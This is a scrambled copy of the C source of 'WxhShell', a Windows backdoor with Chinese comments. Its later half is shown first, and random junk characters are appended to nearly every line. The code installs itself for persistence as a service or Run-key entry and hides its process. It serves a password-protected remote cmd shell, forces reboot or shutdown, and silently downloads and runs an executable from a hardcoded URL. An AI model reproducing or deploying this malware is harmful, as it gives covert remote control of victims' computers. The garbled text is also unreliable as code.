    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "Jw6.q+  
    else { ;eznONNF  
    closesocket(wsh); Dp 0   
    ExitThread(0); %;UEyj  
    } 2.=3:q!H<%  
    break; rA9BY :N@  
    } (\ `knsE!  
  // 获取shell bXoj/zek  
  case 's': { !br0s(|  
    CmdShell(wsh); ?MevPy`H  
    closesocket(wsh); >W,1s  
    ExitThread(0); ,5jE9  
    break; =/@c9QaV B  
  } "j5b$T0P>  
  // 退出 @q9uU9c  
  case 'x': { &:g5+([<  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); \>NjeMuWU  
    CloseIt(wsh); j%R}  
    break; )--v> *,V  
    } L^:+8g  
  // 离开 8fzmCRFH  
  case 'q': { >Z k$q~'+  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); >#z*gCO5,  
    closesocket(wsh); X%7Y\|  
    WSACleanup(); rf"%D<bb  
    exit(1); unqX<6hu  
    break; f $MVgX  
        } <>,V> k|  
  } T)Byws  
  } mA:NAV $!s  
`X8AM=  
  // 提示信息 ^\kv> WBE  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {l= !  
} Ilvz @=  
  } oXG,8NOdC  
%of#VSk  
  return; O@ jW&-;  
} -[?q?w!?  
I^'kt[P'FZ  
// shell模块句柄 'ypJGm  
int CmdShell(SOCKET sock) SS@F:5),  
{ K1O0/2O  
STARTUPINFO si; |,F/_    
ZeroMemory(&si,sizeof(si)); )P\Vd #  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^YzFEu$  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 6dO )]  
PROCESS_INFORMATION ProcessInfo; kKnz F  
char cmdline[]="cmd"; YK#bzu ,!  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); !h&A^sAc  
  return 0; (v*$ExF  
} 9,y*kC  
#"%=7(  
// 自身启动模式 Hk%m`|Z  
int StartFromService(void) O.S(H1z<G  
{ `i0RLGze  
typedef struct '7}s25[{\  
{ z8+3/jLN0B  
  DWORD ExitStatus; Hs<vCL \  
  DWORD PebBaseAddress; SlvQ)jw%  
  DWORD AffinityMask; EeWCy5W  
  DWORD BasePriority; xfw)0S  
  ULONG UniqueProcessId; 6bCC6G  
  ULONG InheritedFromUniqueProcessId; +^hFs7je)  
}   PROCESS_BASIC_INFORMATION; #LEK?]y  
+hg|!SS@5  
PROCNTQSIP NtQueryInformationProcess; c,;-[sn  
z-nhL=  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; S5]rIcM  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 2bU 3*m^M  
%^}3:0G  
  HANDLE             hProcess; <N^2|*3  
  PROCESS_BASIC_INFORMATION pbi; ipfiarT~)  
\:C@L&3[  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); iF2/:iP  
  if(NULL == hInst ) return 0; y8jk9Tv  
- 8&M^-  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); b 8v?@s~  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); jI0gQ [  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); B@dA?w.x  
p;Kw$fQ?  
  if (!NtQueryInformationProcess) return 0; 1{R 1:`  
X.V7od>  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); G&MI@Hq  
  if(!hProcess) return 0; :.Vn  
XEM i~L+  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; U}(*}Ut  
8)3g!3S  
  CloseHandle(hProcess); |RX u O  
lCg'K(|"  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); e"P>b? OY  
if(hProcess==NULL) return 0; :a(er'A  
aLTC#c%U  
HMODULE hMod; W>0 36  
char procName[255]; c*ac9Y'o  
unsigned long cbNeeded; mjG-A8y  
* 3mF.^  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); k_.%(ZE  
" cx\P,<  
  CloseHandle(hProcess); QcG4~DEX4  
^.y}2  
if(strstr(procName,"services")) return 1; // 以服务启动 <m"Zk k  
mu0ER 3o  
  return 0; // 注册表启动 "<x%kD  
} ^0ZabR'  
<)+9PV<w  
// 主模块 D_@WB.e L  
int StartWxhshell(LPSTR lpCmdLine) AjB-&Z  
{ -4{sr| lm  
  SOCKET wsl; +s.r!?49+  
BOOL val=TRUE; WjtmV2b<7  
  int port=0; 8@ck" LUzD  
  struct sockaddr_in door; a=\r~Z7E  
}7E2,A9_"  
  if(wscfg.ws_autoins) Install(); GL'zs8AKf  
yhg^1l|t,  
port=atoi(lpCmdLine); 0|n1O)>J  
0dA'f0Uy\X  
if(port<=0) port=wscfg.ws_port; 7 7"'?  
zl\mBSBx"  
  WSADATA data; (gZKR2hO  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; b&X- &F  
>8+:{NW  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   }2;~':Mklz  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); fEF1&&8^  
  door.sin_family = AF_INET; |T0jq  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ;QQLYT  
  door.sin_port = htons(port); `Xvrf  
0q(}nv  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 8.bIP ju%v  
closesocket(wsl); W>+\A"  
return 1; >.N?y@  
} XhjH68S(  
cLn&b}8'  
  if(listen(wsl,2) == INVALID_SOCKET) { IY2ca Xu  
closesocket(wsl);  +T02AS  
return 1; ^=@L(;Y  
} 0@ []l{N  
  Wxhshell(wsl); oA`'~~!  
  WSACleanup(); ys|a ^VnN  
<z+5+h|^  
return 0; ).e_iE[&  
\?A 7{IY  
} !=M[u+-  
:4|ubu  
// 以NT服务方式启动 Lgl%fO/<t  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) e>\[OwF-x  
{ Bfwa1#%?  
DWORD   status = 0; ," ~ew ,  
  DWORD   specificError = 0xfffffff; c.y8x  
]wCg'EUB  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Y S )Q#fP  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; l1XA9>n  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; zI77#AUM  
  serviceStatus.dwWin32ExitCode     = 0; 8TIc;'bRM  
  serviceStatus.dwServiceSpecificExitCode = 0; V uZd  
  serviceStatus.dwCheckPoint       = 0; (;-< @~2  
  serviceStatus.dwWaitHint       = 0; 2.6%?E]  
H$Om{r1j  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); gSS2)Sd}  
  if (hServiceStatusHandle==0) return; 'B0= "7  
5>M6lwS  
status = GetLastError(); ~ {OBRC  
  if (status!=NO_ERROR) W Z`u"t^2V  
{ M:i;;)cq  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; swEE >=  
    serviceStatus.dwCheckPoint       = 0; QyN<o{\FD!  
    serviceStatus.dwWaitHint       = 0; <Uf?7  
    serviceStatus.dwWin32ExitCode     = status; ^"N]i`dIF  
    serviceStatus.dwServiceSpecificExitCode = specificError; kX!TOlk3  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); FY  U)sQ  
    return; ,tBb$T)7<  
  } v;4l*)$)  
K1]m:Y<  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Obwj=_+upd  
  serviceStatus.dwCheckPoint       = 0; f/Cf2 K  
  serviceStatus.dwWaitHint       = 0; To v!X8p  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); S{_i1'  
} qBL >C\V +  
#)hc^gIO&<  
// 处理NT服务事件,比如:启动、停止 G*.}EoA  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Kv3cKNvu~  
{ @*kQZRGK7  
switch(fdwControl) M-Gl".*f  
{ KneCMFy  
case SERVICE_CONTROL_STOP: uM|*y-4  
  serviceStatus.dwWin32ExitCode = 0; L} r#KfIb  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; _qwKFC  
  serviceStatus.dwCheckPoint   = 0; X}Heaqn  
  serviceStatus.dwWaitHint     = 0; hJ[Z~PC\T0  
  { uR#aO''  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @}sxA9 a  
  } eiE36+'>b  
  return; b7&5>Q/ g  
case SERVICE_CONTROL_PAUSE: t@dv$W2 "  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; p2Yc:9r9+A  
  break; (Q~ p"Ch  
case SERVICE_CONTROL_CONTINUE: 8{QN$Qkn  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; |/rms`YQ  
  break; )xKZ)SxV  
case SERVICE_CONTROL_INTERROGATE: imGg3'  
  break; Z_^i2eJYT  
}; K]5@bm  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;la sk4|  
} .dqV fa  
mOm_a9M L  
// 标准应用程序主函数 ro:B[XE  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) M@\A_x(Mas  
{ ?Ybgzb  
x,)|;HXm  
// 获取操作系统版本 )nncCU W  
OsIsNt=GetOsVer(); a B(_ZX'L  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 4#jW}4C{  
aPD4S&"Q  
  // 从命令行安装 |T!ivd1G  
  if(strpbrk(lpCmdLine,"iI")) Install(); z^;0{q,  
}.bhsy  
  // 下载执行文件 `r?xo7  
if(wscfg.ws_downexe) { AP1Eiv<Hub  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) "'Bx<FA  
  WinExec(wscfg.ws_filenam,SW_HIDE); "N'|N.,  
} prJ]u H,  
BCy# Td  
if(!OsIsNt) { \v|nRn,`-  
// 如果时win9x,隐藏进程并且设置为注册表启动 2/[J<c\G  
HideProc(); f,S,35`qa  
StartWxhshell(lpCmdLine); <:(p nw*L  
} l-?B1gd,l  
else ]mO$Tg&s~  
  if(StartFromService()) X9ua&T2(l  
  // 以服务方式启动 `cu W^/c  
  StartServiceCtrlDispatcher(DispatchTable); $Sz@u"ig%  
else fjD/<`}v  
  // 普通方式启动 YVSAYv_ZG}  
  StartWxhshell(lpCmdLine); ~< ~PaP$=\  
njhDrwN  
return 0; }2@Aj  
} +hoZW R  
6} b1*xQ  
e+`LtEve0  
{w/{)B nPG  
=========================================== 8OV;&Z,x  
j6Msbq[  
^r4@C2#vzJ  
\PHbJN:BI  
X*4iNyIs_  
z`)i"O]-K_  
" d2cslD d  
Kyn[4Bu!?  
#include <stdio.h> F@4TD]E0^  
#include <string.h> ;!RS q'L1  
#include <windows.h> V]4g- CS[  
#include <winsock2.h> .X2fu/}  
#include <winsvc.h> . }#R  
#include <urlmon.h> suo;+T=`I  
rf}@16O$'  
#pragma comment (lib, "Ws2_32.lib") HhZlHL  
#pragma comment (lib, "urlmon.lib") ~f:y^`+Q[  
{lNvKm)w  
#define MAX_USER   100 // 最大客户端连接数 r .&<~x  
#define BUF_SOCK   200 // sock buffer k&oq6!ix  
#define KEY_BUFF   255 // 输入 buffer o p{DPUO0  
NoSq:e  
#define REBOOT     0   // 重启 | DB7o+4  
#define SHUTDOWN   1   // 关机 ">-J+ST%  
*/8b)I}yY  
#define DEF_PORT   5000 // 监听端口 OD;-0Bj  
PIo8mf/  
#define REG_LEN     16   // 注册表键长度 p= fj1*  
#define SVC_LEN     80   // NT服务名长度 .k_> BD];  
Z{Si`GA  
// 从dll定义API U;PGBoe  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); [SJ-]P|^l  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); DL*/hbG  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); S9cAw5E(yN  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); )iKV"jsC  
pv3SAO4  
// wxhshell配置信息 *O5Ysk^|  
struct WSCFG { |{STkV]  
  int ws_port;         // 监听端口 oSAO0h>0N  
  char ws_passstr[REG_LEN]; // 口令 @ OSSqH  
  int ws_autoins;       // 安装标记, 1=yes 0=no wWh)yfPh8H  
  char ws_regname[REG_LEN]; // 注册表键名 .zm/GtOV@  
  char ws_svcname[REG_LEN]; // 服务名 M/Twtq-`H  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ON.1'Wk?  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 AbqeZn  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 pgp@Zw)r)k  
int ws_downexe;       // 下载执行标记, 1=yes 0=no %1\MW+  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" "W"2 Y(  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 \ytF@"7  
F\K&$5J{p  
}; !@.9>"FU  
5*~]=(BE  
// default Wxhshell configuration cN{(XmX5n  
struct WSCFG wscfg={DEF_PORT, )(4.7>  
    "xuhuanlingzhe", 3zr95$Mt  
    1, t9C.|6X  
    "Wxhshell", XA1gV>SJ  
    "Wxhshell", ~4T:v _Q7g  
            "WxhShell Service", tAi ~i;?  
    "Wrsky Windows CmdShell Service", N*B_ or  
    "Please Input Your Password: ", b$*1!a  
  1, G C#s;X  
  "http://www.wrsky.com/wxhshell.exe", #8{U0 7]"  
  "Wxhshell.exe" OrG1Mfx&2%  
    }; w$`[C+L  
],?$&  
// 消息定义模块 @7}]\}SR  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; D#8uj=/%  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ^yl)c \`  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; d?9b6k?  
char *msg_ws_ext="\n\rExit."; eH0^d5bH  
char *msg_ws_end="\n\rQuit."; N(7UlS,u'  
char *msg_ws_boot="\n\rReboot..."; BQOit.  
char *msg_ws_poff="\n\rShutdown..."; P{2ue`w[  
char *msg_ws_down="\n\rSave to "; Z)Zc9SVC  
 K}OY!|  
char *msg_ws_err="\n\rErr!"; j=],n8_i  
char *msg_ws_ok="\n\rOK!"; Ra!Br6  
_ Vo35kA  
char ExeFile[MAX_PATH]; g)L?C'BG  
int nUser = 0; ZcQ@%XY3~  
HANDLE handles[MAX_USER]; *)8!~Hs   
int OsIsNt; L-,C5^  
}Dc7'GZ  
SERVICE_STATUS       serviceStatus; w>TlM*3D/  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Zf,9 k".'C  
3$~oQC  
// 函数声明 2jT2~D.U1  
int Install(void); ?as1^~  
int Uninstall(void); U3-cH  
int DownloadFile(char *sURL, SOCKET wsh); CGp7 Tx#  
int Boot(int flag); V_Xq&!HN[  
void HideProc(void); ?l/$cO  
int GetOsVer(void); 7_ G$&  
int Wxhshell(SOCKET wsl); mne?r3d  
void TalkWithClient(void *cs); #X`qkW.T<  
int CmdShell(SOCKET sock); C1M @;  
int StartFromService(void); )8_ x  
int StartWxhshell(LPSTR lpCmdLine); phc9esz  
JNx;/6'd,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ?c6`p3p3L  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); "<=HmE-;  
#GVf+8"  
// 数据结构和表定义 02F\1fXS  
SERVICE_TABLE_ENTRY DispatchTable[] = 0!5w0^1  
{ Vx#n0z  
{wscfg.ws_svcname, NTServiceMain}, `0z8J*T]  
{NULL, NULL} d7U%Q8?wUR  
}; eKv{N\E  
u$MXO].Q  
// 自我安装 4\pUA4  
int Install(void) a0/[L  
{ n#dvBK0M  
  char svExeFile[MAX_PATH]; t/KH`  
  HKEY key; L"(k;Mfe  
  strcpy(svExeFile,ExeFile); {kdS t1  
AEw~LF2w  
// 如果是win9x系统,修改注册表设为自启动 T4e-QEH  
if(!OsIsNt) { /4 M~ 6LT`  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { vxt<}h5J/!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +#LD@)G  
  RegCloseKey(key); Q|] 9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { mh :eUFe  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^!j,d_)b!  
  RegCloseKey(key); ui!MQk+D9  
  return 0; n]< >$  
    } Xf/qUao  
  } _Z0O]>KH  
} #[ TOe  
else { ]7/6u.G7R  
8w\ZY>d   
// 如果是NT以上系统,安装为系统服务 *f*o ,~8V1  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); i9=*ls^Cx  
if (schSCManager!=0) ^)%TQ.  
{ =K8z8K?  
  SC_HANDLE schService = CreateService t \;,$i  
  ( rsPo~nA  
  schSCManager, }M|,Z'@*  
  wscfg.ws_svcname, .?NraydwV  
  wscfg.ws_svcdisp, [6}>?  
  SERVICE_ALL_ACCESS, F&6Xo]?  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , bL 9XQ:$C  
  SERVICE_AUTO_START, 4RDdfY\%u  
  SERVICE_ERROR_NORMAL, 2)4oe  
  svExeFile, ELgq#z  
  NULL, ~^ ^|]s3  
  NULL, Pu`;B  
  NULL, ^,sKj-  
  NULL, '(-SuaH49  
  NULL )W0z  
  ); w\{oOlE  
  if (schService!=0) S @tpd'  
  { haoQr)S  
  CloseServiceHandle(schService); [[A}MF*@  
  CloseServiceHandle(schSCManager); '^ob3N/Y [  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); /xh/M@G3  
  strcat(svExeFile,wscfg.ws_svcname); eW/sP Q-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { syB.Z-Cpd  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 2)^gd  
  RegCloseKey(key); F\BD7W  
  return 0; p`mNy o'  
    } TChKm- x  
  } tO8<N'TD  
  CloseServiceHandle(schSCManager); /5&' U!:+  
} SMIr@*R  
} u0?,CQPL  
1 2y+g5b  
return 1; :J~sz)n4  
} D)){"Q!b  
D\9-MXc1  
// 自我卸载 E5`KUMZkq  
int Uninstall(void) $9PscubM4  
{ gzd)7np B2  
  HKEY key; k]] e8>  
vq;_x  
if(!OsIsNt) { ^wTod\y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { IWs)n1D*]  
  RegDeleteValue(key,wscfg.ws_regname); ;Q8LA",5d  
  RegCloseKey(key); FNgC TO%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,5J}Wo?Q}  
  RegDeleteValue(key,wscfg.ws_regname); se ]q~<&  
  RegCloseKey(key); y{O81 7 \  
  return 0; n04lTME  
  } A.>L>uR  
} fXfO9{E  
} ? ht;ZP  
else { P(Wr[lH\y  
x2@W,?oPm  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); QsC6\Gt#  
if (schSCManager!=0) bS"zp6Di  
{ r?:xD(}Q  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); PZE{- TM?W  
  if (schService!=0) ZT1IN6;8W  
  { 5FQtlB9F  
  if(DeleteService(schService)!=0) { DB>.Uf"  
  CloseServiceHandle(schService); uX8yS|= *  
  CloseServiceHandle(schSCManager); qdY*y&}"J  
  return 0; Udl8?EVSz  
  } %wk3&EC.  
  CloseServiceHandle(schService); MFqM 6_  
  } Hy| X>Z  
  CloseServiceHandle(schSCManager); $#LR4 [Fq  
} }n[<$*W^  
} k%2Rv4)hU  
n7*.zI]%&  
return 1; DVLF8]5  
} lN,)T%[0-  
Nub)]S>_/t  
// 从指定url下载文件 bUS"1Tg]*6  
int DownloadFile(char *sURL, SOCKET wsh) wN^$8m5\T^  
{ V+- ]txu|  
  HRESULT hr; ON q=bI*  
char seps[]= "/"; *Iir/6myM  
char *token; ._A@,]LS}  
char *file; ^Z`?mNq9  
char myURL[MAX_PATH]; lVR a{._m  
char myFILE[MAX_PATH]; Kh,zp{  
1?hx/02  
strcpy(myURL,sURL); w</qUOx  
  token=strtok(myURL,seps); ,p7W4;?4  
  while(token!=NULL) 4y|%Oj  
  { w$%1j+%&  
    file=token; Ks_B%d  
  token=strtok(NULL,seps); +204.Yj?D  
  } MF]EX  
V<W$ h`  
GetCurrentDirectory(MAX_PATH,myFILE); nr>Os@\BU  
strcat(myFILE, "\\"); @?YO_</  
strcat(myFILE, file); KV {J>J1  
  send(wsh,myFILE,strlen(myFILE),0); 6&KvT2?tA`  
send(wsh,"...",3,0); =&YhA}l\O  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); .sE5QRVc  
  if(hr==S_OK) WO<a^g {  
return 0; SdM@7%UK  
else 71(C@/J  
return 1; ?@LqrKj 11  
GiGXV @dq  
} .]D7Il  
#Rx|oSc}  
// 系统电源模块 iwS55o  
int Boot(int flag) oasEG6OI8  
{ 5*P+c(=  
  HANDLE hToken; w_hN2eYo&e  
  TOKEN_PRIVILEGES tkp; `iT{H]po  
v[J"/:]  
  if(OsIsNt) { Yv ZcG3@c3  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); C]'ru  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 8\])p sb9  
    tkp.PrivilegeCount = 1; &8R !`uh1  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; :,[=g$CT:  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); d]!`II  
if(flag==REBOOT) { ~f5g\n;  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 'vc>uY  
  return 0; io^ L[  
} 'j27.Ry.  
else { H\!p%Y  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) m.EIMuj  
  return 0; dw"{inMf  
} zvAUF8'_  
  } SG@-b(  
  else { 2T >K!jS  
if(flag==REBOOT) { ~+OAAkJ9  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) -H-:b7  
  return 0;  tQSJ"Q  
} >u R0 Xs;V  
else { =QQTHL{3  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) D_2~ 6  
  return 0; 9Impp5`/B  
} uW4wTAk;qh  
} JT(6Uf  
}X?M6;$)  
return 1; wcW8"J'AH  
} M`u&-6  
op5G}QZ  
// win9x进程隐藏模块 Tc.k0n%W:b  
void HideProc(void) ?vn9HhTD  
{ U?.cbB,  
Oll,;{<O  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); TP R$oO2  
  if ( hKernel != NULL ) f:hsE  
  { !${7)=|=1  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); !]*Cwbh. u  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ?=#vp /  
    FreeLibrary(hKernel); JDp{d c  
  } yMVlTO  
#|R#/Yc@Bv  
return; kACgP!~/1  
} K0xka[x=(  
YggeKN  
// 获取操作系统版本 &'KJh+jJ  
int GetOsVer(void) r=74 'g  
{ (u:^4,Z  
  OSVERSIONINFO winfo; 'ugc=-0pd  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 6)j4-  
  GetVersionEx(&winfo); {@YY8SKb9  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) |fIIfYE  
  return 1; t]14bf$*Q  
  else IF~E;  
  return 0; /; {E}`  
} sDXD>upO  
vnr{Ekg  
// 客户端句柄模块 9Q /t+  
int Wxhshell(SOCKET wsl) qr<RMs  
{ kVeR{i<*(  
  SOCKET wsh; jRGslak;  
  struct sockaddr_in client; 734f &2  
  DWORD myID; 0s'h2={iI  
bpgvLZb>s  
  while(nUser<MAX_USER) z}z 6Vg  
{ s:ZYiZ-  
  int nSize=sizeof(client); k3yA*Ec  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); =9yh<'583  
  if(wsh==INVALID_SOCKET) return 1; T j(MIFi|5  
j0`)mR}  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); K6d2}!5  
if(handles[nUser]==0) tPqWe2  
  closesocket(wsh); UYw=i4J'  
else ' Ih f|;r  
  nUser++; ='G-wX&k  
  } 3LW_qX  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); "&Rt&S  
pB5#Ho>S  
  return 0; ATzFs]~K;  
} dn1Fwy.  
! %X#;{  
// 关闭 socket :tf'Gw6v  
void CloseIt(SOCKET wsh) \@!"7._=  
{ hH(w O\s  
closesocket(wsh); U]AJWC6  
nUser--; |w].*c}Z  
ExitThread(0); cKED RX3  
} xNOArb5e5  
fK{m7?V  
// 客户端请求句柄 +=MN_  
void TalkWithClient(void *cs) N> jQe  
{ C116 c"  
Q5xQ5Le  
  SOCKET wsh=(SOCKET)cs; Ek6z[G` O  
  char pwd[SVC_LEN]; %5$)w;p.$'  
  char cmd[KEY_BUFF]; mJNw<T4!/  
char chr[1]; 38E %]*5F  
int i,j; ;_p$5GVR|  
w&[&ZDsK  
  while (nUser < MAX_USER) { ;V0^uB.z  
W"n0x8~sV  
if(wscfg.ws_passstr) { K 7 OIT2-  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); F87/p  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7SJR_G6,{  
  //ZeroMemory(pwd,KEY_BUFF); Z_;! f}X  
      i=0; 8}K^o>J&K  
  while(i<SVC_LEN) { )lZoXt_3  
Rn$[P.||  
  // 设置超时 {&ykpu090  
  fd_set FdRead; \@B 'f  
  struct timeval TimeOut; 0PD=/fh[  
  FD_ZERO(&FdRead); _)kTlX:,  
  FD_SET(wsh,&FdRead); U!i1~)s  
  TimeOut.tv_sec=8; r#'ug^^k$X  
  TimeOut.tv_usec=0; %zz,qs)Eu  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); x/dyb.  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);  35%\"Y?  
)_olJCdaP^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); BIh^b?:zU  
  pwd=chr[0]; Mz6PH)e;  
  if(chr[0]==0xd || chr[0]==0xa) { $W]}m"l  
  pwd=0; ")YD~ZA%)  
  break; = 6'Fm$R  
  } ]{| wU.  
  i++; |/;;uK,y  
    } p1N3AhXY  
UQ#t &  
  // 如果是非法用户,关闭 socket GIZw/L7Yb  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Ge7Uety  
} Nsn~mY%  
H <9_BA?  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); H~ E<ek'~  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %<0'xJ%%Q  
[\3W_jR  
while(1) { |Kb m74Z%  
7epil  
  ZeroMemory(cmd,KEY_BUFF); t0_4jV t  
6Ts[NXa  
      // 自动支持客户端 telnet标准   }jg 1..)"<  
  j=0; N*+L'bO  
  while(j<KEY_BUFF) { UC_o;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Ggry,3X3  
  cmd[j]=chr[0]; =P%?{7  
  if(chr[0]==0xa || chr[0]==0xd) { ;pj,U!{%s\  
  cmd[j]=0; -}u1ZEND  
  break; " GY3sam  
  } !bs5w_@  
  j++; mw&'@M_(7  
    } {T-=&%||  
x[=,$;o+  
  // 下载文件 3Cgv($xl&  
  if(strstr(cmd,"http://")) { "5204I  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); -tIye{  
  if(DownloadFile(cmd,wsh)) iPdS>e e  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); lAR1gHhJ  
  else Kr?<7vMT5  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I? ="Er[g}  
  } "U!Vdt2vp  
  else { (&SPMhs_|(  
RzU9]e  
    switch(cmd[0]) { +Sc2'z>R  
